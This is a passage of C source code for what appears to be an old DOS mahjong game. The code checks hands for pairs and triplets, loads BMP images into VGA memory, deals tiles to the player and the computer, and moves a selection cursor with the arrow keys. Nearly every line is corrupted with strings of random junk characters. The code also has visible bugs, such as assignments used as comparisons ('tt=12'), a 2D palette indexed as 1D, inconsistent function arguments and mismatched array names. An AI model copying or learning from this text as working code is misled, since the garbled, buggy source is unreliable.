for(i=0;i&lt;10;i++)! B; F$ F: H* L2 j; v3 Z$ v7 a
{
; t, y  M' Z7 sfor(j=0;j&lt;2;j++)
' k! ~: ?. O9 [5 Y3 A4 h/ L4 u{test[j]=pt[i+j];
% u; f' |1 d' w& \; k% ~+ S" y- [; ?- ?}8 [; F2 i  ~* s- _* V
if(istwo(test))) V4 D+ S1 ]! c
{ ill=0;
% X) V2 Z4 S5 c) }* n+ Sfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
# e- k3 y; r- d( ~, ~{if(kl==i)  u' G' w' i: R0 h& d: t
{. w0 j$ v5 x, z! u, {
kl=kl+2;  ~4 _, \3 R* L0 I
if(kl==11)
7 `" A* _% |( _! [6 \; wbreak;$ I6 W/ N1 h0 B) x+ x" z  X
}4 X# q( A$ |. F: S7 m& h
test[ill++]=pt[kl];
$ K; l9 a0 h/ O}8 C. F6 D* [& M# q+ @# B$ @6 O6 R
isthree(test,tt-2);   A6 P& E; n6 q1 `# a# B
}
0 Q. ?3 S/ V; H  B! h& m+ U7 y* e}( r9 m: S- I* a# r* U
else if(tt=12)
; j& C; {$ t9 f/ I, oisthree(pt,tt);. A! Z* B6 L$ d' p5 M
else if(tt=14)! B  T/ y3 ]" [# I4 w
for(i=0;i&lt;13;i++)$ a0 Z6 u5 `+ B: n0 R0 M
{
% l% M8 ]* ^' [( Q  u. Lfor(j=0;j&lt;2;j++)
" ?- g7 P; p; }{test[j]=pt[i+j]; " [1 U0 ?5 W1 {2 r7 M6 K, B
}# V% l0 n; H. j* O, ~
if(istwo(test))
4 w8 R1 a! M+ G" ]/ j{ ill=0;, w9 o8 A& p6 W) I6 n  _: q' l
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
9 M) E2 S) j: m2 b' ?{if(kl==i)# b0 \/ h2 O, _# k) M$ @% Z; U7 a
{: J/ l9 a' o. U& A* r+ S" k/ O
kl=kl+2;: H0 a" h; T" I9 {! N6 g" F
if(kl==14)1 @' Y  q& T% W! ]( s
break;
/ Z: Q  k/ d$ [}
9 X$ g) U" ^8 r% X' j- ytest[ill++]=pt[kl];
( R1 n& |( u4 L/ u}
9 S) a, r) |. U) \isthree(test,tt-2); , u4 j/ ^) d3 }5 i! v
}
* i. M/ ^0 J" J! y( U}8 i- k0 `; p0 x% K3 P
if(ii==2)9 Q  Y7 u+ R$ P4 ~; s1 V+ k& }7 p
istwo(pi);4 n7 G6 s, a+ L
else if(ii==3)
3 f0 a* z$ I7 \, c; x3 V2 k. tisthree(pi,ii);
3 Z3 x. T8 `$ Y# _1 aelse if(ii==5)
3 @( z' d* f5 {* Y/*pi[5]原始牌数组,假设已经升序排列*/
) K( [+ L2 n& f% E: @" i/*test[3]用来放置测试牌的数组*/# B, l- m/ L+ }
for(i=0;i&lt;4;i++)
! f$ w6 E6 w' x% v0 @6 O) Y{
% [/ l2 t6 d  l/ P8 e# G# P8 ffor(j=0;j&lt;2;j++)4 T: s' H7 W% U" K
{test[j]=pi[i+j]; + ^8 ]5 t- o, |3 ?- R
}
( k2 A+ n  p+ D  S* Z& mif(istwo(test))! G2 n( [: p+ L: M  b; }" N
{ ill=0;7 m: ?9 G6 n/ P1 ]( ]+ A
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/' x- |- x% Y8 @
{if(kl==i)
' z' b$ z. u% j, P5 V$ ?{6 B, L7 S  ]! T
kl=kl+2;! S# _' m& F7 g
if(kl==5)7 X  _; S) ^6 X2 H
break;
3 V0 ~, J9 _7 V" u1 }}6 n( ?: v% k7 F9 G9 Z
test[ill++]=pw[kl];
: K3 g$ Z( v& M1 Y& m}& J& `' |! t) w
isthree(test);
) {7 t! Y# u8 S7 K3 \. B}8 {0 Q' B+ L4 U1 H
}7 E* i5 ]4 }+ t7 f9 c
else if(ii==6)
% d' L# Q* V7 Q) Aisthree(pi,ii);
/ q: L: s8 Q$ l5 K7 n) xelse if(ii==8)
" `& N( }3 g4 F2 ]3 ^' I7 C4 s5 vfor(i=0;i&lt;7;i++)
/ O( F" c0 A( t{" O/ ^+ M( H$ I! _3 K4 D: ^; v
for(j=0;j&lt;2;j++)
9 A; Z4 m7 x& W) @/ [6 b6 K& z{test[j]=pi[i+j]; 0 s+ X5 }2 {; l' W; e" _
}* u* q/ j! q* |9 u3 g8 j
if(istwo(test))
5 L7 g7 ]2 R. {: T3 r! _{ ill=0;& Z- m" k4 a* Z2 H- E+ g
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
* I. r# `# b' {1 B{if(kl==i)
/ f/ m7 Z( L4 @9 _2 U# w. w+ ]{2 u/ R, _, K7 T& `$ O
kl=kl+2;  }: i  H7 ^" P  e
if(kl==8)
, @# T  x) R" E' Ubreak;
% O, N1 o+ u9 a& K1 M}9 E" i3 l7 K* ]( n/ [
test[ill++]=pi[kl];& _3 H: k% Z  G) s) P5 a
}  v: W7 M  q/ F7 j! j
isthree(test,ii-2);
% H4 P, r, M% T% n( p}: G! q1 i: X* g7 f# S2 j0 S$ _. \' ?
}
9 x; c/ M! w: @else if(ii==9)1 q3 _* D; V3 Q
isthree(pi,ii);8 M- ?7 R% u( p: Z" W! M4 s/ Q
else if(ii==11)* L: }4 B8 {+ B/ o
for(i=0;i&lt;10;i++)
8 ~. ^/ o" a2 w0 W+ ~- a{
$ C2 L1 @. u( Kfor(j=0;j&lt;2;j++)( ~( q* o  {4 h/ O+ N3 D
{test[j]=pi[i+j]; 6 d2 X5 d2 c! @! E% L5 t0 R
}
5 m$ o; ]% E! \, T% K# g2 a& J1 Eif(istwo(test))0 s8 G7 `" i3 Z8 Y; j" O
{ ill=0;
) m5 T5 \9 E+ I1 X* k5 x* Ofor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/7 h2 D9 e% s5 v; C6 ^  ]
{if(kl==i)1 J7 a" r4 u/ j1 j
{* y9 V# K- v' C# Y+ e# ~- H
kl=kl+2;
2 J) U( y" C4 }1 o* v* Vif(kl==11)  |7 n; q0 v: i  A
break;0 \6 j+ B6 e+ n, \
}# T: [# `( q" e/ s
test[ill++]=pi[kl];+ e% L; r! S' d- d2 d9 Q: L, O
}
& d" ~; `2 U& P' g7 P) l0 z/ ~isthree(test,ii-2);
# ?2 j3 {$ r- D}4 V' t1 p- S3 m# z3 P
} 4 T$ A8 z* B( Q" a: q# e1 k1 c6 S
else if(ii=12)
* l; X! r' G; i, Eisthree(pi,ii);
# n$ E- {7 T% x6 v( Telse if(ii=14)
: j1 U7 M: s! {3 U" }for(i=0;i&lt;13;i++)& ]& ]( b" T, ]
{
# c6 E% h; }4 ?8 T* G. u$ B$ nfor(j=0;j&lt;2;j++); m+ }% |: H5 M
{test[j]=pi[i+j];
) j. c, I% J, L}
& N: Y; V* t9 I2 \+ w' Q& p" E9 gif(istwo(test))
2 F; _: \; z  t* {{ ill=0;
$ B+ L. y  v7 r) q5 @3 qfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
, h# \5 F6 A3 ~8 M6 t{if(kl==i)
7 L$ s8 @* ^1 b( K4 \$ S! K{
) W6 s* X- Z; l5 dkl=kl+2;$ _( T4 _7 N' W1 [
if(kl==14)
9 o& x# P- ^' o+ f4 o+ ~9 w: Gbreak;) t0 r6 w  x, \3 d( ~& M' Y/ T1 V
}
# Y5 O# X( o8 z9 \- ?0 Atest[ill++]=pi[kl];& M1 V* Q  d4 M( R, s$ Q
}/ _7 A  N2 Q( Q" u" ]. O
isthree(test,ii-2); ; ~: L; S6 T! K8 d$ C9 |
}" p) n3 n- _" H  a1 c
}
  u6 U5 `$ x5 L$ Pif(ff==2)
2 U/ d7 F: v% h) T3 \1 Oistwo(pf);
; o& D. x( |9 v& B; l* N3 R2 Pelse if(ff==3)
: j" i/ v+ S, D0 ~isthree(pf,ff);
; H2 z+ o, z& U# c) telse if(ff==5)2 L6 F0 c  }: m' _
/*pf[5]原始牌数组,假设已经升序排列*/
" ~; R& C+ H  X) ]: N/*test[3]用来放置测试牌的数组*/1 k( g! [/ B; p; q( \8 m
for(i=0;i&lt;4;i++)$ }0 M9 J, S& Z
{
' q4 _; n" }1 G; L+ `# Vfor(j=0;j&lt;2;j++)# z% d) A3 u$ r
{test[j]=pf[i+j]; ! X! s7 I' s; R+ l
}
% N: H0 G% e' Eif(istwo(test))
- P+ W0 G* n6 {0 n0 |+ I# I/ m, l{ ill=0;* t( g" U' k4 P4 z
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/! ^  ?3 C! ^9 T' f3 A; X
{if(kl==i)0 `+ P: w$ [# Q
{! e5 L) n! |0 Y. W% d  B& E
kl=kl+2;( z  ]; M- t) u' F% A+ ]5 ]
if(kl==5)5 A# U3 o: o0 K
break;6 B6 u" p, G1 J3 n# q. ^' W, P
}
) t0 C* ^4 V1 Z0 ]% Btest[ill++]=pf[kl];
' y1 N+ a# @$ X2 Y, ^7 W; w}
$ a; ^4 q; M6 {% N4 L: q( Listhree(test);8 Z0 j0 m, l  c# u
}9 }- j6 _' K. D9 v( }8 q7 g! T
}0 K+ C) F: v& u1 N0 P& t+ G* r4 s/ {
else if(ff==6)
. _$ i7 h1 d' n4 ?* X8 ~5 R- t; histhree(pf,ff);
- C# e* q, F! E5 H1 v; ?6 j4 Jelse if(ff==8)
; S+ ^. s& H) `1 R1 ofor(i=0;i&lt;7;i++)
8 @" p1 K6 q2 ^) X: E* }{( I! v& t4 y, w$ q1 R) E) {  Z
for(j=0;j&lt;2;j++)
& h7 X/ h6 q+ [6 v( }{test[j]=pf[i+j]; ( j# M+ W! D+ H
}
- d. }6 w7 ]+ [( vif(istwo(test))
# s' P. ]: n9 L' N{ ill=0;
. B2 L8 K- |* c  _9 g, {for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
0 w: ]- m  s- K" Q{if(kl==i)
0 G8 h5 j  Q& F2 `+ p/ D{
; g1 A6 K" b' vkl=kl+2;
' B1 \& ?; ^, t& D1 t6 lif(kl==8)
7 }3 V+ G7 s& U3 }( z' M8 @break;
# t+ y0 c- ~  c; ~}2 v, |& J7 x# h% Z) w
test[ill++]=pf[kl];# w+ L& V, n& d& q, Z! c  O" \, Q
}3 v. w% @4 z/ a# H: ]
isthree(test,ff-2);
5 c- a0 P' z. z' K$ G7 s. |}
; r9 O. \& x1 l" R: _} / A: {' a7 N, z& b
else if(ff==9)
) s. o+ E' d! g* M5 J+ ]) ~7 H3 _/ _* `isthree(pw,ww);) }2 `; f! \8 a8 Z, e* z7 Y
else if(ff==11)
8 Z+ }4 y/ l1 P1 Rfor(i=0;i&lt;10;i++)3 e; I2 W( Q: z+ H$ n/ |
{
9 ^( G3 s  e$ u0 y. Z! Lfor(j=0;j&lt;2;j++)
. F4 A% Z( t1 U{test[j]=pf[i+j]; . M& i! M' v3 v! D# h* I
}
# A' M! Y6 ^  D2 ]if(istwo(test))* X( [9 S4 c6 Y* K* ^; F
{ ill=0;! a6 ^$ L" P% W3 |
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" H5 `& X, N- ^& \{if(kl==i)# z. m: m0 b8 K7 E
{7 W* {! v4 P2 q# W
kl=kl+2;; t' a/ Q, p0 p6 {
if(kl==11)
4 e$ D+ s' I2 n& S4 Jbreak;
. F$ ]& q8 X- s* A/ D}" R) g& \1 q' Y5 q' t. E8 v" @
test[ill++]=pf[kl];! W0 G- Y& |. }+ ]  r4 z) b( i  u# M+ X
}
, ^) ?' \  L- z+ v$ Cisthree(test,ff-2); # F4 E1 l$ \! F2 z4 [3 d9 m7 b
}
  f" @0 C' X$ }( q* f: P% B, `}
' ~8 N! c4 I+ J$ N% ]& W$ Celse if(ff=12)
# {7 a' S; u; P% F% h) Qisthree(pf,ff);8 C8 Q  M: H$ h$ f# B
else if(ff=14)4 z$ _  ~5 \( x6 e' t3 v
for(i=0;i&lt;13;i++)1 `$ @* x; L7 ~1 v. K
{! U9 t% g. Q# ?* C
for(j=0;j&lt;2;j++)3 J$ q% T) s6 A
{test[j]=pf[i+j]; & i( Y' Q$ T( l& S" j
}
8 I2 y& [* Q& M3 qif(istwo(test))
/ R6 M  y4 o8 j2 v' D{ ill=0;
+ W# ~* V$ }# E) \# h" vfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
7 L& F! b, O5 i+ K$ M) ^+ e5 M0 e{if(kl==i)
# c! v, M$ b) r7 u5 w. I7 m0 e2 z{
$ b* q% M" Y/ skl=kl+2;
# k* u3 E6 ]' p3 h% `: x5 P. Kif(kl==14)
% d* \% e$ l1 Z  Y* L" Qbreak;
) o6 s7 F* R3 d8 G& F8 {}) @  l, O& E# F( ~# x: h
test[ill++]=pf[kl];2 A' h7 o8 W) U9 Q+ K8 K
}( p9 B1 m' o- ]$ U) T: @
isthree(test,ff-2);
" {! W8 c; c1 a  T% _% ~}/ s% W( V5 f% F
} . u/ y0 e6 w1 `+ U* b. H- T
}* v* G5 f' ^5 s# A& s3 @
void main(void)1 s) _9 @( K( f" ~3 L+ H
{
* F" n) C* i3 t9 _$ dFILE *bmp;
2 ]3 @% K$ @6 @( s" rstatic char *name[2]={"ff.bmp","logo.bmp"};
5 q3 q- ]! x' ~- y9 }% u6 Ichar *p;% g1 T, r7 \1 U0 H" ^, y" }
int *lingshi;& w) }- P1 ]% X  Y
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;7 g7 e# u" {/ X9 ]3 m% Y
int every=0,w=0,x1,x2,y1,y2,every1=0;
8 s: v8 q! I5 _8 f; r6 Xint logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;( u* T1 {  ~2 E) F. F4 E
BYTE palette[256][3];
( ?7 e. |( a2 l# c/ OSETVGA;
" }: {$ R3 A5 x& M/ B6 @getch();' g" i( o8 _  \
while(t--)
" n0 D9 T7 r- A! z- T{6 X, o( P+ C; w" N6 ?8 i
bmp=fopen(name[t],"rb");; l' ^/ E8 y# _8 x4 c
fseek(bmp,54,SEEK_SET);
" o8 c! h' E$ S2 {  B8 Nfor(i=0;i&lt;256;i++)
! Q6 e3 P) S2 u( ^' G/ H{0 [: U' G$ A8 ?" Y  L
palette[2]=fgetc(bmp)&gt;&gt;2;
& S' g( t* B8 Lpalette[1]=fgetc(bmp)&gt;&gt;2;
( z9 f0 q, X+ ?- A' y, Opalette[0]=fgetc(bmp)&gt;&gt;2;
9 }4 i; @7 A3 b0 w+ l, v. f+ m' dfgetc(bmp);
. ^. L9 c9 b$ hSet_Palette(i,palette[0],palette[1],palette[2]);2 r+ g( ^0 k3 n# }$ ]4 R% f4 u$ I
}
$ _) O% `. s0 E8 C, q. Zfor (y=0;y&lt;200;y++)* t) J3 z! X3 I3 f( j+ _+ x
for(x=0;x&lt;320;x++)
+ l( k% J- N* _0 K  t+ s+ tpokeb(0xa000,y*320+x,fgetc(bmp));  }" d) i7 t- A- K/ k! f% B1 t
fclose(bmp);
7 w% R' i7 _9 ?: wgetch();
# H. M/ }$ `4 ^4 W6 Q  `$ x}9 F8 F/ S: T+ D/ h, G8 W
getch();
2 Q& G; a/ f) w" m9 HfillRectangle(0,0,320,200,0);
/ `, O) M1 V, Wgetch();
4 z4 q7 P8 ^+ D8 Krandomize();$ w; Q8 |" Q4 z, M8 F- z
me.m=onetothirteen;
$ N" Z# Y. B4 l9 V( h, n/ Ewhile(me.m&gt;0) /*先循环,给自己拿牌*/  p1 p  K7 c7 H" n. W, n
{1 m3 m0 v2 }% Y5 j# T* }
1 s+ {( M2 r6 X+ ]1 T7 x
temp=random(136);* {# n2 V+ j5 C2 v! u9 y  ?
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)0 N# L0 d! g* s6 u
{
6 h, R! A5 R4 ^( m# S& M  [me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
. c: i' R0 c' k$ r5 z! Dme.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/) Y: K. \. {- p8 A  y) _
me.pp[n].number=temp; /*第几张,用来排序*/
4 N- t6 ~. o/ _) M5 P, I7 Sm[temp].data2=1; /*判断牌是谁的*/# ?5 ~, A  y1 N2 n
kk=1;
! Z. H# h8 W% M  w/ ^}/ E' ?; K0 l# I6 a
if(kk==0) /*判断如果又选择了,就从新再选*/
( E2 Y+ a- Y/ w7 `, d{
- d5 W- B; Y. e, j1 y& Xme.m++;
, [0 t* p& z! k  Xn--;
1 h  q% D. F4 @, a. z}/ i' q7 A& H* h5 ]
me.m--;  w* K" x* H+ b. r+ Y: h6 ~9 [0 c
n++;7 U+ `! W4 I6 X! h( k0 W0 x
kk=0;
$ p# o. P% G( c}! [4 r8 p; d7 h0 I+ ^4 Z+ Q
me.m=12;2 L; U0 M5 [6 @. N
melipai(); /*理牌*/" r4 ~% J8 g6 E
) j: w( j! W6 G: r& G& W7 S
n=13;
- K: N/ U+ w# ^8 ]2 N' [$ [3 \% \while(l&lt;n)
, {. g, x) X* I6 ^{0 R$ S3 q, Y. O
z=z+20;
& X+ l. P" N8 G4 Y3 ?, ishowbmp(l);
, T6 A' h7 H6 B8 vl++;
4 f. ?8 N1 e& S0 c# ?  k
4 Z8 V: C  N% k' i% d/ d}
* I! |' `# T0 a  V9 Y& p5 ?randomize();
& r: q( i- h% M! |% ccomputer.m=oneorthirteen;
0 A: d! l: C6 T& un=0;
; l/ o) H+ G3 T2 t6 v/ q9 t2 Nwhile(computer.m&gt;0) /*循环,给对方拿牌*/" G' x( M: \2 ~& d* R1 S8 s
{$ M  b" P' s! G9 |% j  \2 [
temp=random(136);
4 E% A" i! l# P% A( n$ V, d  o9 Vif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
5 L0 c/ u4 p' W0 d$ Y. B1 q{
3 m& h8 ]0 t/ ?5 `& n+ @$ ^- R3 l8 Zcomputer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/* O: D2 i5 [% R4 h
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
& p* H' t( [3 d$ ?. ~computer.pp[n].number=temp; /*第几张,用来排序*/
" V$ l5 A+ @+ hm[temp].data2=2; /*判断牌是谁的,2为电脑*/1 }3 D. f2 l% P1 O  D
kk=1;8 b0 |( U( Q8 X
}7 W. n' m# ~2 A
if(kk==0) /*判断如果又选择了,就从新再选*/
5 E" r8 u; `$ ^* q1 s; E1 F8 N* q{ ' i+ f* `0 s# h# @
computer.m++;$ m/ G) C8 }1 h  }! o9 @  T" l! B
n--;2 \* A8 o% a" F; [
}
7 I$ a9 R  P( Q( [' Ecomputer.m--;' }% ~( u% ]0 F2 [
n++;
; g, |8 n: @% \- @  \2 L9 okk=0;
0 K0 q0 E& d1 V' _. f7 M9 J}: E) ]& Q5 {! E% m3 G: {
computer.m=12;
8 Q7 p& W6 e; \8 Lcomlipai(); /*电脑理牌*/$ F$ W' `: C) h5 b; P& [$ k3 S
n=13;
. O6 k7 q3 \+ f1 ~while(ll&lt;n); q$ H" V$ S* Q+ S1 v. S$ u
{4 j6 s# l: M6 h( o
zy=zy+20;
) f, f2 T: X) S: x/ ]  W8 Y6 }# ^3 Zshowybmp(ll);
: d3 U" L7 L& Ull++;3 ~6 d) T7 F- N, ^
}% ]! j5 p7 O1 [
) v: |- z( o6 N
z=54400;
4 }- S8 h, E, u) t! M/ zwhile(key!=ESC)# h& b# h. }. ~9 l
{
: K! s% t* r2 `9 w! m- k+ W- [! J1 {, F. N5 u2 ^! ~
keyy=bioskey(0);) j  E0 g+ t2 @
if(keyy==LEFT) ! {: s' ^% e* H# x( V8 ]. K, D
{ w=1;
! J  |  K0 F. P! S( H* ?( H/ t6 gif(every==0)
5 t3 T! I6 v3 r8 Q{
7 F  u. E! H% d( x: ?5 `1 ]6 wevery=1;
  d8 E2 _/ W5 V( S2 Xz=54440-5*320;
# d7 y9 N( z/ D) E  `2 z( ]
7 i* u6 a7 l4 p. K* }1 _}
& q4 ~8 S8 W2 q0 [9 yzz=zz+5*320;8 ~1 J% b9 }8 ?1 p& P- }: E  t
showbmp(every);( h1 P5 v5 w8 \8 p/ s# q
if(every==0)7 B3 J% W% g' b8 i- w
{
( Y; o3 g* n1 y- p4 ?6 V9 e/ Y. \1 `x1=20;
4 P0 T" t! G( [9 K6 v5 ay1=165;# K0 |0 m4 ]1 @( [9 B0 {
fillRectangle(x1,y1,x1+20,y1+4,0);, h- i; {* W$ c8 P: G! w5 u
}
" c/ p8 T  F/ |9 eif(every==1)
( @  L+ ]' S; n- C{
8 ]7 U* ^  T7 H% V# D/ |x1=40;7 L! d" `8 V7 a& i- ?
y1=165;4 I$ z& w5 c0 W! o3 L
fillRectangle(x1,y1,x1+20,y1+4,0);. L9 ]. O; ]6 h8 ^2 G, }
}! y3 Y2 U/ v7 `- |
if(every==2)4 S# j/ r" M8 c/ A6 F
{4 K5 \( {# U4 Q" N% k8 `* W
x1=60;
) d; w6 a' b. K& V" f/ z% [y1=165;* F6 k4 V% W: v+ s/ L1 s1 T# L
fillRectangle(x1,y1,x1+20,y1+4,0);0 y1 l# r% Z, C  j- W* [/ o+ x
}! b: H" R3 y* K' @" w
if(every==3)
& j1 X5 J; F. x- u7 H6 }! h{! ]: i  W  t% g
x1=80;0 U  U& B! ]' ]9 t, D
y1=165;& G% W$ _* @' j+ s; p' z
fillRectangle(x1,y1,x1+20,y1+4,0);' f, Z* O4 D/ c# ?# a
}' t  H1 @6 L( q
if(every==4)) V( G) {- x6 b6 h7 x) J' k
{3 n% H% h; ~$ G; L3 s
x1=100;
( v! L! f) X1 J, ]y1=165;
6 B& g# f# ?! Z+ yfillRectangle(x1,y1,x1+20,y1+4,0);
( M* N  P$ R' x2 W1 S! Z  B5 ~}% ]; Y- `4 V) @( F$ m8 g3 X( S
if(every==5)1 a+ U; K$ S0 `5 [
{
1 ?  x! Q7 \) c/ Q1 g$ `+ Qx1=120;; a1 o) h; L0 u+ f6 B8 h: }1 o
y1=165;, _. ?; S# G5 b+ h1 |2 k
fillRectangle(x1,y1,x1+20,y1+4,0);+ K4 ^# y$ m' E. I1 J: |% d: X
}7 x$ z: d$ o2 |+ b1 Q' v
if(every==6)
" b+ O  i2 f  j! W- T, G& Q6 i{
/ f( O' L5 I9 t! P0 ux1=140;
; q8 F, q8 ^* M: U; `) v4 V& K' ?y1=165;
% \3 I/ u) f2 G, s5 o: u8 h6 XfillRectangle(x1,y1,x1+20,y1+4,0);1 Y9 c- X/ Z* x$ L: W
}
/ V. k, h" y: u. j$ aif(every==7)
; r! d5 w& \1 `+ a9 c2 Q{
9 i9 ~, M$ T8 q' [9 S! B' X7 [x1=160;; m" m- A: @; ~2 v; J
y1=165;
$ D9 J/ F- Y5 O1 c7 W, EfillRectangle(x1,y1,x1+20,y1+4,0);
  Y. {; p3 @( F, z2 N6 P}
8 p+ c; ~# ?2 d$ B3 S# `if(every==8)& _7 R# F& ]: P- r! e' x; `
{  t% ?1 G: p0 m" @- B& k8 P
x1=180;
* j9 t3 P4 L, u. L$ jy1=165;0 b3 \+ o5 I5 P/ E5 f' ]- d
fillRectangle(x1,y1,x1+20,y1+4,0);
7 o( z( k, @2 ?# g9 o}
. w- e. i2 s- E4 k) `4 |if(every==9)' H& o7 j. ]! ^7 A( `/ D: J% {
{
' s, X- j( \: x' ~4 k' w! zx1=200;
- L& t1 ?# G' o/ W" Xy1=165;
2 J: z6 _" R0 S" p" @/ p" tfillRectangle(x1,y1,x1+20,y1+4,0);
' E1 N6 N. G& O! F  j}/ |: U$ E4 S, @! U  Q
if(every==10); z& e( N( Y" |) [
{7 F, ^$ a- f3 K# `3 e+ y
x1=220;
$ ^- p$ h! @8 w% m* ]+ a4 Jy1=165;; O& [' X  k0 m' U" i4 C
fillRectangle(x1,y1,x1+20,y1+4,0);7 O- Y2 H0 ~( O7 a" Y
}8 v3 F" h. W  s  u
if(every==11)3 Y- ~+ ^: u9 U
{
6 L+ w) N: b: _4 ]" p: r. [x1=240;
8 g" w, o1 I' a, A* e) jy1=165;* P5 ^  \7 w3 [6 H) @  l0 ], s9 }. `
fillRectangle(x1,y1,x1+20,y1+4,0);+ e! t1 c6 b) t0 J! \3 ~
}! S1 A. k3 e7 u
if(every==12)
9 L2 V( n6 B3 |; T' _* N{/ F' l$ f- k+ R  r( p$ H( N5 {$ M
x1=260;1 m- N4 `& p: ]4 f) m
y1=165;
9 n  @, ^) E8 G0 }fillRectangle(x1,y1,x1+20,y1+4,0);
( K  m+ Q$ H; w. j. o8 H}
0 ~, D; T+ W5 O5 g7 gzz=0;
( a. f( g1 g9 r4 Z, _every--;
5 {1 Z$ `" a0 R3 Hz=z-20;
( u% U7 O: B- A6 t9 V# `7 x}
- g3 @: U6 ~" Zif(keyy==RIGHT)
/ \1 C- P. ]7 i; l1 G{ if(w==0)
; X; b8 O, A& j7 J4 f: _9 O; V{
1 t& V1 z/ R/ U; V: ]z=54440-5*320;" Q& L" @3 Z" K* Z
z=z-20;
7 T+ K( ?! W3 n* I. Uw=1;
* v6 C; t: @8 a0 g}* h9 h1 w# Y% v: ~9 s+ V
if(every==12)
" e) z( |/ {# @: O{
) |$ Z, f) z+ h% F4 K/ C1 e- oevery=11;; ~! r: A# n# q- U" Y1 j) k4 a
z=54640-5*320;) {: V8 f* `% V3 x
}
: W2 a/ T  J4 hzz=zz+5*320;% j4 J3 J2 h2 x8 |  f  z! z- {9 E
showbmp(every);
2 W/ ~7 Z- T/ H. Z0 q- Fif(every==0)
# v) ~8 ^& e6 _. e. a{8 N; i2 O) T: u* B( ?( b
x1=20;& ~0 A) V3 o3 ]% P' I) z
y1=165;
2 C9 T" d+ X; d; n( VfillRectangle(x1,y1,x1+20,y1+4,0);
- S( U8 ^, d" f" t- w}
) N7 H8 q6 p% c& `8 s8 p6 F3 wif(every==1)* Q4 }' J0 @$ ~# x& u
{
* u* `! ]- R0 V  @x1=40;! l! {) x: S! ?7 l' b. ~' P1 q/ D
y1=165;3 d1 d' N0 q4 q0 ?4 P( v& F. L& [
fillRectangle(x1,y1,x1+20,y1+4,0);' h# `& S- _( J0 T' U9 }
}
5 V$ G4 o6 \0 W$ vif(every==2)+ X' C: h9 I& [6 ?4 M
{
7 |& J: g; Q1 a6 Tx1=60;
0 v& l* Y2 r/ t' [  ay1=165;, _% z1 N8 {& u) c% Z) j; x7 H8 R
fillRectangle(x1,y1,x1+20,y1+4,0);
$ g9 b- t, N# d0 n}
# H2 q7 l% [. q# Y% s0 rif(every==3)4 I& |1 N$ D' [, }4 y$ t# G
{5 X7 l* X3 g9 z( r/ Q; G
x1=80;
( C' K: W' ^, [- {7 f% `y1=165;, C3 ^, }- k- n
fillRectangle(x1,y1,x1+20,y1+4,0);
" b' P# `9 b7 A  l% H}
2 f" z  ?$ d6 Z: k0 iif(every==4)3 O: d1 I8 w5 }0 \1 m: r3 f5 l- O* R
{0 W( k, K1 l, y  e! u
x1=100;
9 R" \, m, k0 Ay1=165;
$ a7 s3 m1 R2 o3 [' OfillRectangle(x1,y1,x1+20,y1+4,0);
/ c7 W" ^& @5 @}- d* F9 N) V1 L: z
if(every==5)
8 r: p0 f. \5 _' k9 M  J7 g6 H{
) f; t9 C2 W" C" H. _3 z, Qx1=120;
8 ^8 ?; g# U: l" Vy1=165;
7 ?. M/ a* \+ q$ d+ afillRectangle(x1,y1,x1+20,y1+4,0);
# j4 j- Q0 ?0 \: W2 v0 T5 x! t. w" E}
/ _0 |" w* u* }' \4 ^if(every==6)
4 S# \/ E5 w5 p6 G1 {3 e{. P: @+ P( t' V
x1=140;
& [4 U' I" M; `: f6 l4 j" Iy1=165;
9 y. E: q! r( y; O$ KfillRectangle(x1,y1,x1+20,y1+4,0);5 n" I( M/ M7 ?) E9 L
}( t8 r7 ^* U  ~" C7 F1 a3 y) `  s
if(every==7)
- j( C  Y* l' x5 S. a{. F; V3 n9 y8 y' N* e8 q
x1=160;/ k. L: i9 |" u0 R) R
y1=165;
) m" D& S/ O: {3 }0 NfillRectangle(x1,y1,x1+20,y1+4,0);! v6 {/ ^' `& m# C
}  y* s* O) L, a6 @8 [2 k1 H( W
if(every==8)* s; c& `6 p0 S7 D9 }( b& U  @9 c
{8 [0 E2 I6 V) y3 v, T( I  y, v
x1=180;# c% m' Z* L; O% f
y1=165;
7 a6 ?! k1 U2 s6 w4 g! DfillRectangle(x1,y1,x1+20,y1+4,0);/ R1 ?; A. Y. q0 e
}! l0 m8 p$ r7 x2 K" J% b$ k
if(every==9), E! ?$ d) f) @! P1 y
{
6 q9 P, o$ Z! Ox1=200;
/ O% |3 Z: S' t' }& o5 o# Dy1=165;
/ R& h+ G% s2 E! FfillRectangle(x1,y1,x1+20,y1+4,0);
, p2 \' {. i% [; N}
2 @1 [9 h* p" i: L4 `/ e3 O! ]/ zif(every==10)  L2 T* J) l7 e" Y5 q4 ~% v1 m
{
  }2 \% c3 O3 D# k" N: l1 cx1=220;2 d* y7 G  M3 A! m# s6 {+ M' U
y1=165;
$ T3 V8 }8 @0 ~1 L# r/ T) D$ g- `  \# kfillRectangle(x1,y1,x1+20,y1+4,0);
% m  W7 x7 O6 a$ ?* s( l}
& S* }0 d9 b! Sif(every==11)& o6 k6 Z, r7 H( Y
{+ r7 X  d+ W; h8 F& `
x1=240;
1 R/ o' u9 X. J9 ty1=165;' y4 Q0 a" k% l) Y# G5 x( i
fillRectangle(x1,y1,x1+20,y1+4,0);( f7 K8 j# L; A0 g7 t$ _( L- k  T
}, ]3 s8 ^- L9 d8 _+ v7 w. \
if(every==12)
